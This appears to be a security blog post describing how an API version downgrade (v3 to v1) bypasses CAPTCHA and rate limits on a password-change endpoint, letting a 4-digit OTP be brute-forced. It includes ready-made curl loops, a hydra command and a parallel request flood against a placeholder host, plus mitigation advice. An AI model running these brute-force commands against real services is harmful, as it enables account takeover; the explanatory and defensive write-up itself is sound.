Listen to this Post
In a recent discovery, a penetration tester found a critical vulnerability in a password change endpoint. The endpoint `/api/v3/changepassword/otp` was protected by CAPTCHA and rate limiting. However, by simply downgrading the API version from `v3` to `v1` (/api/v1/changepassword/otp), the CAPTCHA validation was bypassed, and no rate limits were enforced. Additionally, the OTP code was only 4 digits, making brute-force attacks trivial.
You Should Know:
1. Testing for API Version Vulnerabilities
Many applications maintain backward compatibility with older API versions (v1, v2), which may lack security controls present in newer versions (v3, v4). Always test:
curl -X POST "https://target.com/api/v1/changepassword/otp" -d "otp=1234&user=admin"
Compare responses between versions to identify missing protections.
#### **2. Bypassing CAPTCHA with Reused Tokens**
If a CAPTCHA token is accepted multiple times, automate requests using tools like `curl` or Burp Suite Repeater:
for i in {0000..9999}; do
curl -X POST "https://target.com/api/v1/changepassword/otp" -d "otp=$i&captcha_token=ABCDEF123456"
done
#### **3. Exploiting Weak OTP Implementations**
4-digit OTPs (10,000 combinations) are vulnerable to brute-force. Use `hydra` or custom scripts:
hydra -l admin -P otp_list.txt target.com http-post-form "/api/v1/changepassword/otp:otp=^PASS^&user=^USER^:Invalid OTP"
#### **4. Rate Limit Testing**
Check if older endpoints ignore rate limits:
<h1>Send 100 requests in parallel</h1>
seq 100 | xargs -P 10 -I {} curl -X POST "https://target.com/api/v1/changepassword/otp" -d "otp=1234"
#### **5. Mitigation Commands for Admins**
- Linux (Nginx/Apache): Restrict access to deprecated API versions:
</li> </ul> <h1>Nginx: Block /api/v1/</h1> location ~ ^/api/v1/ { deny all; }– Windows (IIS): Use URL Rewrite to enforce latest API versions.
### **What Undercode Say:**
This finding highlights the risks of deprecated API endpoints. Developers must:
– Deprecate and sunset old API versions.
– Enforce consistent security controls (CAPTCHA, rate limits) across all versions.
– Use 6+ digit OTPs with expiry times.
– Monitor logs for abnormal requests to/v1/, `/v2/` endpoints.**Expected Output:**
Bypassed CAPTCHA and rate limits via /v1/ endpoint. OTP brute-forced in 10,000 attempts.
**Related URLs:**
References:
Reported By: Abdelaziz Ahmed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅Join Our Cyber World:
